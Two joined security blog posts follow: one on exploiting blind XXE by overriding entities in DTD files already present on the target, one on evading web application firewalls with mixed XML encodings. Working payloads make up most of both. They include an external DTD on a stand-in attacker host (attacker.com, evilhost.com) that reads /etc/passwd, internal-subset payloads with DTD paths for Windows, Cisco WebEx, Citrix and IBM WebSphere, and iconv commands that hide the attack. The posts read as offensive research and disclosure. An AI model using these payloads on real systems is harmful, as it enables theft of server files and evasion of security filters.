This little technique can force your blind XXE to output anything you want!

Why do we have trouble exploiting XXE in 2k18?

Imagine you have an XXE. External entities are supported, but the server’s response is always empty. In this case you have two options: error-based and out-of-band exploitation.

Consider this error-based example:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Contents of ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

See? You are using an external server for payload delivery. What can you do if there is a firewall between you and the target server? Nothing!

What if we just put external DTD content directly in the DOCTYPE? Some errors will always appear:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<message></message>

External DTD allows us to include one entity inside the second, but it is prohibited in the internal DTD.

What can we do with internal DTD?

To use external DTD syntax in the internal DTD subset, you can bruteforce a local dtd file on the target host and redefine some parameter-entity references inside it:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

Contents of sip-app_1_0.dtd

…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

It works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.

How can we find a local dtd file?

Nothing is easier than enumerating files and directories. Below are a few more examples of successful applications of this trick:

Custom Linux System

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Custom Windows System

<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Thanks to @Mike_n1 from Positive Technologies for sharing this path of always-existing Windows DTD file.

Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Custom Multi-Platform IBM WebSphere Application

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

Timeline

01/01/2016 — Discovering the technique
12/12/2018 — Writing the article :D
13/12/2018 — Full disclosure

WAFs see a white noise instead of the document!

In this article you will meet a variety of XML encodings, and learn how to bypass a WAF with them.

What encodings are supported in XML

UTF-8 and UTF-16 map the same characters from the Unicode table.

The difference between the encodings is in a structure of these binary code:

UTF-8

A character is encoded as a sequence of one to four bytes long.

The binary code is defined by the template:

An overlong encoding is prohibited, so only the shortest method is correct.

UTF-16

A character is encoded as a sequence of two or four bytes long.

The binary code is defined by the template:

* Preliminarily 0x010000 is subtracted from a character code

If a symbol has been written by four bytes, it is called as a surrogate pair. A surrogate pair is a combination of two common symbols from the reserved range: U+D800 to U+DFFF. One half of a surrogate pair is not valid.


There are two types of UTF-16: UTF-16BE and UTF-16LE (Big-endian / Little-endian). They have a different order of bytes.

Big-endian is a “natural” order of bytes like in the arabic numerals.
Little-endian is an inverse order of bytes.

Some examples of encoding symbols in UTF-16BE and UTF-16LE:

* In a surrogate pair each of the characters is inverted singly. This is designed for backwards compatibility with Unicode 1.0, where all symbols were encoded using two bytes only.

How do parsers detect an encoding

Parsers detect an encoding in four ways:

External information of encoding

Some network protocols have a special field that indicate an encoding:

Specifying an encoding in WebDav protocol

Most frequently there are protocols that are built by MIME standard. For example, it’s SMTP, HTTP, and WebDav.

Byte Order Mark (BOM)

The Byte Order Mark (BOM) is a character with U+FEFF code.

If a parser finds a BOM at the beginning of the document, then an encoding is determined by the binary code of the BOM.

Most popular encodings and their BOM

BOM only works at the beginning of the document. In the middle a BOM will be read as a special space.

By the first symbols of the document

The specification allows parsers to identify the encoding by the first bytes:

It only works for documents that start with an xml declaration.

From XML declaration

The encoding can be written in an xml declaration:

<?xml version="1.0" encoding="UTF-8"?>

An “XML Declaration” is a string that can be written at the beginning of the document. A parser understands the version of the document’s standard by this string.

<?xml version="1.0" encoding="ISO-8859-1" ?>
<très>là</très>

Document in ISO-8859-1 encoding

Obviously, in order to read the declaration, a parser will have to know the encoding in which the declaration was written. But, the declaration is useful to clarify between ASCII-compatible encodings.

The most common WAF bypass

The first way is to change an encoding to non-compatible with ASCII, and hope that a WAF will fail to parse it.

It worked in “PHDays WAF Bypass” competition in 2015. Participants were required to read a flag through XXE vulnerability:

Request to XXE exploitation from the contest

POST / HTTP/1.1
Host: d3rr0r1m.waf-bypass.phdays.com
Connection: close
Content-Type: text/xml
User-Agent: Mozilla/5.0
Content-Length: 166
 
<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY % xxe SYSTEM "http://evilhost.com/waf.dtd">
    %xxe;
]>
<root>
    <method>test</method>
</root>

One of the solutions was to transcode a message body into UTF-16BE without a BOM:

cat original.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml

In this document, WAF couldn’t see the attack and did process the request.

New vector: Bypass with two encodings

The other way to confuse a WAF is to encode a document using two encodings simultaneously.

When a parser reads an encoding from the XML-declaration, the parser immediately switches to it.
Including one when the new encoding isn’t compatible with the encoding in which the XML-declaration was written.

WAFs don’t support parsing of such multi-encoded documents for now.

‎Xerces2 Java Parser

The XML-declaration is in ASCII, the root element is in UTF-16BE:

Commands for transcoding:

echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml
echo '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

libxml2

libxml2 switches an encoding immediately after it reads the attribute. Therefore, we need to change an encoding before closing the declaration tag:

Commands for transcoding:

echo -n '<?xml version="1.0" encoding="UTF-16BE"' > payload.xml
echo '?><a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

Afterword

The vector was founded September 5th, 2017. The first publication of this material was on the habrahabr in October 13th, 2017.

My colleague @Agarri_FR released on twitter a similar vector for ‎Xerces2 and UTF-7 in October 12th, 2017, and it got me publish this article immediately.

In addition to UTF-7 and UTF-16 you might use many different encodings, but however you should take into account your parser’s capabilities.